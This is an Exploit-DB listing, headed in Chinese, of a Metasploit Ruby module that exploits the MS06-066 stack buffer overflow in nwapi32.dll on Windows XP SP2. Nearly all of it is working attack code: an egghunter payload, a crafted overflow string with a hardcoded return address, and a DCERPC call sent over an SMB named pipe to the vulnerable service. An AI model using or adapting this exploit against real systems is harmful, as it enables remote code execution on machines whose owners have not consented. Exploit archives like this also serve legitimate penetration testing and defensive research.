标题: Microsoft Services - 'nwapi32.dll' (MS06-066) (Metasploit) EDB-ID: 16373 CVE: 2006-4688 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-25 漏洞利用脚本: ##
# $Id: ms06_066_nwapi.rb 10150 2010-08-25 20:55:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB


 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Services MS06-066 nwapi32.dll',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the svchost service, when the netware
    client service is running. This specific vulnerability is in the nwapi32.dll module.
   },
   'Author'         => [ 'pusscat' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10150 $',
   'References'     =>
    [
     [ 'CVE', '2006-4688'],
     [ 'OSVDB', '30260'],
     [ 'BID', '21023'],
     [ 'MSB', 'MS06-066'],

    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 296,
     'BadChars' => "",
     'Compat'   =>
     {
      # -ws2ord XXX?
     },
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'Windows XP SP2',
      {
       'Ret'      => 0x00EBEEEC ,
      },
     ]
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Nov 14 2006'))

  register_options(
   [
    OptString.new('SMBPIPE', [ true,  "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
   ], self.class)
 end

 def exploit
  # [in] [unique] wchar *
  # [in] wchar *
  # [in, out] long
  # [out] handle

  # Generate the egghunter payload
  hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  egg    = hunter[1]
  #print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")

  # Add giant blocks of guard data before and after the egg
  eggdata  =
   rand_text(1024) +
    egg +
   rand_text(1024)

  buflen = 295
  ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +
   [ target.ret ].pack('V') + "\x00"
  #ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"

  stubdata =
   NDR.long(rand(0xffffffff)) +
    NDR.UnicodeConformantVaryingString("\\\\BBBB") +
   NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) +  # HERE!
   #NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
   NDR.long(rand(0xffffffff)) +
   NDR.long(rand(0xffffffff)) +
   #NDR.long((ofstring.length * 2) + 0xC) +
   eggdata

  print_status("Connecting to the SMB service...")
  connect()
  smb_login()

  handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  print_status("Calling the vulnerable function...")

  begin
   dcerpc.call(0x09, stubdata)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
   print_status('Server did not respond, this is expected')
  rescue => e
   if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
    print_status('Server disconnected, this is expected')
   else
    raise e
   end
  else
   print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
  end

  # Cleanup
  handler
  disconnect

  if (dcerpc.last_response != nil and
   dcerpc.last_response.stub_data != nil and
   dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
   return true
  else
   return false
  end
 end

end URL: https://www.exploit-db.com/exploits/16373